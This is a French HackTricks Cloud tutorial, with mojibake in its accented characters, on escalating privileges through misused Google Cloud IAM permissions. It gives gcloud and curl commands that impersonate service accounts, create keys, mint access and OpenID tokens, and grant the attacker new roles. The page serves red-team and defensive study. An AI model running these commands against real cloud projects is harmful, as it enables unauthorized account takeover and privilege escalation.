GCP - IAM Privesc
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
IAM
Trouvez plus dâinformations sur IAM dans:
GCP - IAM, Principals & Org Policies Enum
iam.roles.update (iam.roles.get)
Un attaquant disposant des permissions mentionnĂ©es pourra mettre Ă jour un rĂŽle qui vous est assignĂ© et vous accorder des permissions supplĂ©mentaires sur dâautres ressources telles que :
gcloud iam roles update <rol name> --project <project> --add-permissions <permission>
Vous pouvez trouver un script pour automatiser la crĂ©ation, lâexploitation et le nettoyage dâun environnement vulnĂ©rable ici et un script python pour abuser de ce privilĂšge here. Pour plus dâinformations, consultez la original research.
gcloud iam roles update <Rol_NAME> --project <PROJECT_ID> --add-permissions <Permission>
iam.roles.create & iam.serviceAccounts.setIamPolicy
La permission iam.roles.create permet la crĂ©ation de rĂŽles personnalisĂ©s dans un projet/organisation. Entre les mains dâun attaquant, câest dangereux car elle lui permet de dĂ©finir de nouveaux ensembles dâautorisations qui peuvent ensuite ĂȘtre attribuĂ©s Ă des entitĂ©s (par exemple, en utilisant la permission iam.serviceAccounts.setIamPolicy) dans le but dâescalader les privilĂšges.
gcloud iam roles create <ROLE_ID> \
--project=<PROJECT_ID> \
--title="<Title>" \
--description="<Description>" \
--permissions="permission1,permission2,permission3"
iam.serviceAccounts.getAccessToken (iam.serviceAccounts.get)
Un attaquant disposant des permissions mentionnĂ©es pourra demander un access token appartenant Ă un Service Account, il est donc possible dâobtenir un access token dâun Service Account ayant des privilĂšges supĂ©rieurs aux nĂŽtres.
gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \
auth print-access-token
Vous pouvez trouver un script pour automatiser la creation, exploit and cleaning of a vuln environment here et un script python pour abuser de ce privilĂšge here. Pour plus dâinformations, consultez la original research.
iam.serviceAccountKeys.create
Un attaquant disposant des permissions mentionnĂ©es pourra crĂ©er une clĂ© gĂ©rĂ©e par lâutilisateur pour un compte de service, ce qui nous permettra dâaccĂ©der Ă GCP en tant que ce compte de service.
gcloud iam service-accounts keys create --iam-account <name> /tmp/key.json
gcloud auth activate-service-account --key-file=sa_cred.json
Vous pouvez trouver un script pour automatiser la creation, exploit and cleaning of a vuln environment here et un script python pour abuser de ce privilĂšge here. Pour plus dâinformations, consultez la original research.
Notez que iam.serviceAccountKeys.update ne fonctionnera pas pour modifier la clĂ© dâun SA car pour cela la permission iam.serviceAccountKeys.create est Ă©galement nĂ©cessaire.
iam.serviceAccounts.implicitDelegation
Si vous avez la permission iam.serviceAccounts.implicitDelegation sur un Service Account qui dispose de la permission iam.serviceAccounts.getAccessToken sur un troisiÚme Service Account, alors vous pouvez utiliser implicitDelegation pour créer un token pour ce troisiÚme Service Account. Voici un diagramme pour aider à expliquer.

Notez que selon la documentation, la dĂ©lĂ©gation de gcloud ne fonctionne que pour gĂ©nĂ©rer un token en utilisant la mĂ©thode generateAccessToken(). Voici donc comment obtenir un token en utilisant lâAPI directement :
curl -X POST \
'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer '"$(gcloud auth print-access-token)" \
-d '{
"delegates": ["projects/-/serviceAccounts/'"${DELEGATED_SERVICE_ACCOUNT}"'"],
"scope": ["https://www.googleapis.com/auth/cloud-platform"]
}'
Vous pouvez trouver un script pour automatiser la creation, exploit and cleaning of a vuln environment here et un script python pour abuser de ce privilĂšge here. Pour plus dâinformations, consultez la original research.
iam.serviceAccounts.signBlob
Un attaquant disposant des permissions mentionnĂ©es pourra signer des payloads arbitraires dans GCP. Il sera donc possible de crĂ©er un JWT non signĂ© du SA puis de lâenvoyer en tant que blob pour que le JWT soit signĂ© par le SA ciblĂ©. Pour plus dâinformations read this.
Vous pouvez trouver un script pour automatiser la creation, exploit and cleaning of a vuln environment here et un script python pour abuser de ce privilĂšge here et here. Pour plus dâinformations, consultez la original research.
iam.serviceAccounts.signJwt
Un attaquant disposant des permissions mentionnĂ©es pourra signer des JSON Web Tokens (JWTs) bien formĂ©s. La diffĂ©rence avec la mĂ©thode prĂ©cĂ©dente est que au lieu de faire signer par google un blob contenant un JWT, nous utilisons la mĂ©thode signJWT qui attend dĂ©jĂ un JWT. Cela la rend plus facile Ă utiliser, mais vous pouvez seulement signer des JWT au lieu de nâimporte quels octets.
Vous pouvez trouver un script pour automatiser la creation, exploit and cleaning of a vuln environment here et un script python pour abuser de ce privilĂšge here. Pour plus dâinformations, consultez la original research.
iam.serviceAccounts.setIamPolicy
Un attaquant disposant des permissions mentionnĂ©es pourra ajouter des politiques IAM aux comptes de service. Vous pouvez en abuser pour vous accorder les autorisations nĂ©cessaires pour vous faire passer pour le compte de service. Dans lâexemple suivant, nous nous accordons le rĂŽle roles/iam.serviceAccountTokenCreator sur le SA intĂ©ressant :
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountTokenCreator"
# If you still have prblem grant yourself also this permission
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \ \
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountUser"
Vous pouvez trouver un script pour automatiser la crĂ©ation, exploitation et nettoyage dâun environnement vulnĂ©rable ici.
iam.serviceAccounts.actAs
La iam.serviceAccounts.actAs permission est similaire Ă la iam:PassRole permission from AWS. Elle est essentielle pour exĂ©cuter des tĂąches, comme dĂ©marrer une instance Compute Engine, car elle accorde la capacitĂ© de âactAsâ un Service Account, garantissant une gestion sĂ©curisĂ©e des permissions. Sans cela, des utilisateurs pourraient obtenir un accĂšs indu. De plus, exploiter la iam.serviceAccounts.actAs implique diverses mĂ©thodes, chacune nĂ©cessitant un ensemble de permissions, contrairement Ă dâautres mĂ©thodes qui nâen nĂ©cessitent quâune seule.
Service account impersonation
Impersonating a service account can be very useful to obtain new and better privileges. Il existe trois façons dont vous pouvez impersonate another service account:
- Authentication using RSA private keys (traitĂ© ciâdessus)
- Authorization using Cloud IAM policies (traité ici)
- Deploying jobs on GCP services (plus applicable Ă la compromission dâun compte utilisateur)
iam.serviceAccounts.getOpenIdToken
Un attaquant disposant des permissions mentionnĂ©es pourra gĂ©nĂ©rer un OpenID JWT. Ceux-ci servent Ă affirmer une identitĂ© et nâaccordent pas nĂ©cessairement dâautorisation implicite sur une ressource.
Selon cet article intĂ©ressant, il est nĂ©cessaire dâindiquer lâaudience (le service auprĂšs duquel vous souhaitez utiliser le token pour vous authentifier) et vous recevrez un JWT signĂ© par google indiquant le service account et lâaudience du JWT.
Vous pouvez générer un OpenIDToken (si vous y avez accÚs) avec:
# First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA
gcloud auth activate-service-account --key-file=/path/to/svc_account.json
# Then, generate token
gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com
Ensuite, vous pouvez simplement lâutiliser pour accĂ©der au service avec :
curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app
Certains services qui prennent en charge lâauthentification via ce type de jetons sont :
- Google Cloud Run
- Google Cloud Functions
- Google Identity Aware Proxy
- Google Cloud Endpoints (si vous utilisez Google OIDC)
Vous pouvez trouver un exemple montrant comment crĂ©er un token OpenID au nom dâun compte de service ici.
Références
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

